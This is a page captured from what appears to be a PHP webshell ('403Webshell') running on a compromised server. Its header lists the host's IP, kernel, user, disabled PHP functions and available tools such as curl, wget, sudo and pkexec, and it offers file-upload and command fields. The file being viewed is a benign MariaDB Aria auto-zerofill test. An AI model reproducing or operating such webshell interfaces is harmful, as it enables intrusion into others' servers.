403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/maria/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/maria/maria-autozerofill.test
# Test to verify that auto-zerofilling happens when a table is
# imported from a different Aria instance

# can't restart in embedded
--source include/not_embedded.inc
--source include/have_maria.inc

call mtr.add_suppression("Table 't1' is marked as crashed and should be repaired");

let $MARIA_LOG=.;

--disable_warnings
drop database if exists mysqltest;
--enable_warnings
create database mysqltest;
let $mms_tname=t;

connect (admin, localhost, root,,mysqltest,,);
--enable_reconnect

connection default;
use mysqltest;
--enable_reconnect

# Create some tables for future tests
create table t1(a int) engine=aria;
insert into t1 values(1);
create table t2 (a int) engine=aria;
INSERT INTO t2 VALUES (1),(2);
create table t3 (a int) engine=aria;
INSERT INTO t3 VALUES (1),(2);
create table t4 (a int) engine=aria;
INSERT INTO t4 VALUES (1),(2);
create table t5 (a int) engine=aria;
INSERT INTO t5 VALUES (1),(2);
create table t6 (a int) engine=aria;
INSERT INTO t6 VALUES (1),(2);
flush tables;

# Check that table is not zerofilled, not movable
let $MYSQLD_DATADIR= `select @@datadir`;
--exec $MARIA_CHK -dv --ignore-control-file $MYSQLD_DATADIR/mysqltest/t1 >$MYSQLTEST_VARDIR/tmp/autozerofill.txt
perl;
    use strict;
    use warnings;
    my $fname= "$ENV{'MYSQLTEST_VARDIR'}/tmp/autozerofill.txt";
    open(FILE, "<", $fname) or die;
    my @content= <FILE>;
    print grep(/Status:.*(zerofilled|movable)/, @content);
    print "create_rename_lsn has non-magic value\n" if grep(/create_rename \([0-9]+/, @content);
    close FILE;
EOF

# this will remove control file, so change the uuid of the Aria
# instance, thus t1 will appear as imported from elsewhere.

-- source include/maria_empty_logs.inc

disable_ps_protocol; # see aria-recover.test
replace_regex /Table.*t1/t1/ ;
replace_result \\ /;
select * from t1;
enable_ps_protocol;
flush table t1;

# Check that table is auto-zerofilled, movable
--exec $MARIA_CHK -dv --ignore-control-file $MYSQLD_DATADIR/mysqltest/t1 >$MYSQLTEST_VARDIR/tmp/autozerofill.txt
perl;
    use strict;
    use warnings;
    my $fname= "$ENV{'MYSQLTEST_VARDIR'}/tmp/autozerofill.txt";
    open(FILE, "<", $fname) or die;
    my @content= <FILE>;
    print grep(/Status:.*/, @content);
    print "create_rename_lsn has magic value\n" if grep(/create_rename \(0,0x2\)/, @content);
    close FILE;
EOF

# this will attach t1 to the current Aria instance
insert into t1 values(2);
flush table t1;

# Check that table is not zerofilled, not movable
--exec $MARIA_CHK -dv --ignore-control-file $MYSQLD_DATADIR/mysqltest/t1 >$MYSQLTEST_VARDIR/tmp/autozerofill.txt
perl;
    use strict;
    use warnings;
    my $fname= "$ENV{'MYSQLTEST_VARDIR'}/tmp/autozerofill.txt";
    open(FILE, "<", $fname) or die;
    my @content= <FILE>;
    print grep(/Status:.*(zerofilled|movable)/, @content);
    print "create_rename_lsn has non-magic value\n" if grep(/create_rename \([0-9]+/, @content);
    close FILE;
EOF

--echo #
--echo # BUG#44422 "mysql_upgrade destroys Maria tables?"
--echo # Check repair and optimize of moved table
--echo #

# Table t2 is regarded as it would be from another server as we removed
# the aria control file earlier
check table t2;
check table t2;
repair table t2;
check table t2;
replace_result \\ /;
optimize table t3;
replace_result \\ /;
analyze table t4;
repair table t5;
check table t5;
repair table t5;
check table t5;

# Check that if we zerofill with aria_chk, we should not get any warnings when
# accessing the table
--error 0,1,11,139
--exec $MARIA_CHK --ignore-control-file --zerofill $MYSQLD_DATADIR/mysqltest/t6 >$MYSQLTEST_VARDIR/tmp/autozerofill.txt 2>&1
if ($sys_errno != 0)
{
--cat_file $MYSQLTEST_VARDIR/tmp/autozerofill.txt
--die
}

select * from t6;
check table t6;

drop database mysqltest;

Youez - 2016 - github.com/yon3zu
LinuXploit